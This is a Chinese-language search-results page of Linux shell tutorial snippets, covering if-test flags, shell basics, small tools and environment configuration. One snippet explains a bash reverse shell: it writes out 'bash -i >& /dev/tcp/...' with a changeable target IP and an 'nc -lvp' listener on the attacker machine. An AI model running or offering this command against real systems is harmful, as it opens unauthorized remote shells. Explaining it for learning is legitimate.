首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux——Shell编程里if的参数从-a到-z

2017年开始了,新的开始新的起点,公众号也要迎来新的内容了——Linux相关项。...作为通信行业的从业者,我们不仅要分析各种节点信令,同时也需要掌握Linux的各种操作,包括系统的操作,命令的使用,还有linux下简单的shell编程来处理日常的任务(我们真是多才多艺呀)。...编程中我们会经常用到if-else条件判断来根据符合自己设定的条件之后执行不同的命令,自己在写shell的时候总也记不清怎么判断file是否存在、字符串是否为空等等,最近妞儿也偶尔接触简单shell会问及此内容...这几天根据自己的使用整理出来以下基本涵盖if中从-a到-z的所有参数,做一个记录也希望对有此需求的朋友有所帮助。...-z 判断字符串是否为空串即长度是否为0,空串则为真。 用法: if [ -z String ] 如下: -n 判断字符串是否为非空串即长度不为0,长度不为0则为真。

4.7K40
您找到你想要的搜索结果了吗?
是的
没有找到

Linux——shell

什么是shellshell是系统的用户界面,提供了用户与内核进行交互操作的一种接口(命令解释器) 。它接收用户输入的命令并把它送入内核去执行。起着用户与系统之间进行交互的作用。 ?...shell的功能: 命令行解释 命令的多种执行顺序 通配符 命令补全、别名机制、命令历史 I/O重定向 管道 命令替换(` ` 或$( ) ) shell编程语言 shell可以执行——内部命令、外部命令...shell命令分为: 内部(内置)命令 内部命令是shell本身包含的一些命令,这些内部命令的代码是整个shell代码的一个组成部分; 内部命令的执行是shell通过执行自己的代码中的相应部分来完成的...外部(外置)命令 外部命令的代码则存放在一些二进制的可执行文件或者shell脚本中; 外部命令执行时,shell会在文件系统中指定的一些目录去搜索相应的文件,然后调入内存执行。...shell变量PATH中 ?

10.7K30

几个 Shell小工具( Expect Htop Ccat Z Iotop)

背景介绍 总结记录几个shell小工具,都是很常用且很好用的东西. expect : 实现人机交互的一个命令行工具 ccat : linux 下上色版本的cat htop : 上色增强版本的top 软连接...交给用户来交互 中有多个常用的expect的示例.可以参考...在这个界面,可以使用f3搜索,f4过滤,具体操作 linux设置软连接 经过上面的第一个步骤,我们有了一个jump的脚本,但是每次都要去执行脚本也是一件非常麻烦的事情....Z 这个名字真的是简洁....这是一个快速管理你的cd命令的脚本.github仓库 基本实现就是: 你安装了z,之后你的cd会被记录到.z文件,然后当你想切换目录的时候,只需要z xx + tab即可. xx是你想去的目录的部分名字即可

1.2K20

linux shell编程

什么是shell  shell扮演者操作系统内核和用户的中间人的角色,用户通过键入shell command,然后shell通过解析用户输入,然后将请求转发给操作系统的内核进行处理。 1....还是hello world程序  首先使用vim编辑器(或者是linux下任意的文本编辑器)编写文件helloshell.sh(没有必要使用.sh后缀名):  #!.../bin/sh                                osch=0 echo "1. unix(sun os)" echo "2. linux(red hat)" echo ...        #         # nested if         if [ $osch -eq 2 ]         then                 echo "you pick up linux..."         else                 echo "what you donot like unix/linux"         fi fi #!

12K30

Linux反弹shell

2345bash -i:打开一个bash交互界面 >:重定向 /dev/tcp:调用建立一个socket连接 127.0.0.1:可以任意更改需要反弹到的IP地址 2345:反弹到的端口 上面的是一个典型的反弹shell...的语句,但是这种不能实时地在攻击机输入,攻击机输出,只能在靶机输入东西,然后在攻击机看到 image.png 攻击机使用 nc -lvp 2200监听反弹回来地shell,然后等靶机输入东西后,攻击机才能获取到内容...,攻击机不能传输命令 1.2second bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 这种就是交互式shell了 &:标准错误输出重定向输出 0>&1:简单一点理解就是将我们在攻击机输入的命令当成靶机输入...,然后靶机返回内容时又重定向攻击机,也就是交互界面,打开了一个shell窗口,随意可以在攻击机执行命令,然后在攻击机输出结果,这么一个意思 0:标准输入 1:标准输出 2:标准错误输出 &:是为了区分标准输出和文件描述符...2>&1 和上面的效果一样 1.4fourth bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 值得一提的是,">&"相当于"2>&1",标准错误输出 一个标准的反弹shell

10.4K00

linuxshell

当然shell也是linux的解释器,本篇我们先来了解下这个解释器。 shell解释器 shell也叫壳,区别与操作系统内核。比如一个不同国家的人交流需要一个翻译官,那么shell就是这个翻译官。...shell是负责用户,负责接受用户的指令,解释并运行,将需要执行的操作给操作内核。 shell的常见种类 sh 由 Bourne shell 开发,为了纪念大佬,就用了他的名字命名了。...sh也是第一个流行的shell。 csh C shell 语法和C语言比较类似。 ksh 集合了 csh 和 sh 的优点,并且和sh兼容。...bash 与sh完全兼容,sh的的扩展版本,在sh上增加了新特性,补全命令,命令编辑器和历史命令等功能也是linux默认的shell。...linux默认的shell解释器 linux 默认的 shell 解释器是bash,在/bin目录下。

8.3K50

Linux 学习_shell

Linux提供了像MicrosoftWindows那样的可视的命令输入界面--X Window的图形用户界面(GUI)。...每个Linux系统的用户可以拥有他自己的用户界面或Shell,用以满足他们自己专门的Shell需要。   同Linux本身一样,Shell也有多种不同的版本。...Korn Shell:是对Bourne SHell的发展,在大部分内容上与Bourne Shell兼容。   C Shell:是SUN公司Shell的BSD版本。   ...Z Shell:The last shell you’ll ever need! Z是最后一个字母,也就是终极Shell。它集成了bash、ksh的重要特性,同时又增加了自己独有的特性。...如下图:系统中的三种shell ================================================================ 在Linux系统中,我们要查看我们当前是使用哪种

7.6K20

Linux Shell(二)——Shell的环境配置

5.2 login shell与non-login shell的区别? login shell和non-login shell是两种shell登录的方式,它们登录后加载的环境配置文件有所不同。...5.2.1 login shell 在获取bash前需要进行一套完整的登录过程,这个登录过程就称为login shell。所谓“完整的登录过程”指需要输入用户名和密码。...5.2.2 non-login shell 获取bash不需要输入密码的登录过程称为non-login shell。...如在bash中直接输入bash,从而打开一个子bash,这个过程不需要输入密码,因此称为non-login shell。...代表一个字符 [] [abcd]:代表该范围内的一个字符 [-] [a-z]:代表a-z之间的一个字符 [^] [^a-z]:代表除了a-z以外的所有字符 6.2 特殊字符 符号 含义 # 注释 \

12.1K50

Linux shell脚本编程

这一部分内容和软件安装有部分重叠(关于变量和环境变量)1 Linux系统环境文件系统结构:一切皆文件/ 虚拟目录的根目录,通常不会在这里存储文件/bin 二进制目录,存放许多用户级的GNU工具/home...主目录,Linux在这里创建用户目录/lib 库目录,存放系统和应用程序的库文件/media 媒体目录,可移动媒体设备的常用挂载点Linux系统一般有4个主要部分:内核、shell、文件系统、应用程序查看...3.1.2.2 字符串判断 -z STRING 如果STRING的长度为零返回为真 空为真3.1.2.3 文件判断!...*的相对位置练习题一个> 重定向 会把里面的内容清空两个>> 表示追加第2题先把结尾的.sra删除再加上.fastq完成替换4 shell 脚本编程env调用当前环境下激活的编译器shell脚本:修改shell...不在环境变量中可通过路径来调用复习之前的421shell脚本:参数传递通过位置参数可以重复利用脚本fq2fa.sh脚本完成格式转换shell脚本提交1:标准输出流2:标准误输出流报错也和1一起输出重点:

12010
领券